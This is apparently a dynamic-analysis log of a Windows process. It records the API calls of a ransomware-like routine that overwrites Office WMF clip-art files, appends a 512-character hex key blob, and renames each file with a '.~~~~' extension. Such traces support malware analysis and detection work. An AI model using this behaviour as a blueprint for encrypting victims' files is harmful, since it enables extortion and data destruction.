	[0126.556] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x822, lpOverlapped=0x0) returned 1
	[0126.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.558] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.558] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.558] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.558] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.559] CloseHandle (hObject=0x138) returned 1
	[0126.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab8b8
	[0126.559] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf.~~~~")) returned 1
	[0126.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0126.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.560] GetLastError () returned 0x0
	[0126.560] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.562] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.562] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.562] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24655199970) returned 1
	[0126.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4e3b530, dwHighDateTime=0x1d60e1e)) 
	[0126.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821978
	[0126.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821978 | out: hHeap=0x300000) returned 1
	[0126.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab2d0
	[0126.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0126.563] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.563] GetLastError () returned 0x0
	[0126.563] GetLastError () returned 0x0
	[0126.563] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.563] GetLastError () returned 0x0
	[0126.563] GetLastError () returned 0x0
	[0126.567] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff7de, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.567] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x822, lpOverlapped=0x0) returned 1
	[0126.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.569] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.569] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.569] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.569] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.569] CloseHandle (hObject=0x138) returned 1
	[0126.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0126.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf.~~~~")) returned 1
	[0126.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0126.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.571] GetLastError () returned 0x0
	[0126.572] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.573] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.573] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.573] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24656314047) returned 1
	[0126.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4e61690, dwHighDateTime=0x1d60e1e)) 
	[0126.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28219b0
	[0126.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28219b0 | out: hHeap=0x300000) returned 1
	[0126.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab4c8
	[0126.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab4c8 | out: hHeap=0x300000) returned 1
	[0126.574] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.574] GetLastError () returned 0x0
	[0126.574] GetLastError () returned 0x0
	[0126.574] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.574] GetLastError () returned 0x0
	[0126.574] GetLastError () returned 0x0
	[0126.580] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff914, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.580] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x6ec, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x6ec, lpOverlapped=0x0) returned 1
	[0126.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.582] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.582] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.582] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.582] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.582] CloseHandle (hObject=0x138) returned 1
	[0126.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab4c8
	[0126.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf.~~~~")) returned 1
	[0126.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab4c8 | out: hHeap=0x300000) returned 1
	[0126.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.584] GetLastError () returned 0x0
	[0126.585] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.586] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.586] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24657636503) returned 1
	[0126.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4e61690, dwHighDateTime=0x1d60e1e)) 
	[0126.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28219e8
	[0126.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28219e8 | out: hHeap=0x300000) returned 1
	[0126.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab810
	[0126.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab810 | out: hHeap=0x300000) returned 1
	[0126.601] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.601] GetLastError () returned 0x0
	[0126.601] GetLastError () returned 0x0
	[0126.601] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.601] GetLastError () returned 0x0
	[0126.601] GetLastError () returned 0x0
	[0126.612] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff15e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.612] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xea2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xea2, lpOverlapped=0x0) returned 1
	[0126.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.620] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.620] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.620] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.620] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.620] CloseHandle (hObject=0x138) returned 1
	[0126.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab810
	[0126.631] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf.~~~~")) returned 1
	[0126.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab810 | out: hHeap=0x300000) returned 1
	[0126.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.653] GetLastError () returned 0x0
	[0126.653] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.654] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.654] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.654] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24664425517) returned 1
	[0126.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4f1fd70, dwHighDateTime=0x1d60e1e)) 
	[0126.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821b38
	[0126.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821b38 | out: hHeap=0x300000) returned 1
	[0126.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaf88
	[0126.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaf88 | out: hHeap=0x300000) returned 1
	[0126.655] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.655] GetLastError () returned 0x0
	[0126.655] GetLastError () returned 0x0
	[0126.655] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.655] GetLastError () returned 0x0
	[0126.656] GetLastError () returned 0x0
	[0126.659] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff6f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.659] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x90c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x90c, lpOverlapped=0x0) returned 1
	[0126.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.662] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.662] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.662] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.662] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.662] CloseHandle (hObject=0x144) returned 1
	[0126.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaf88
	[0126.662] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf.~~~~")) returned 1
	[0126.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaf88 | out: hHeap=0x300000) returned 1
	[0126.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.664] GetLastError () returned 0x0
	[0126.664] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.666] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.666] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.666] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24665636868) returned 1
	[0126.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4f45ed0, dwHighDateTime=0x1d60e1e)) 
	[0126.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821b70
	[0126.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821b70 | out: hHeap=0x300000) returned 1
	[0126.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aae38
	[0126.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
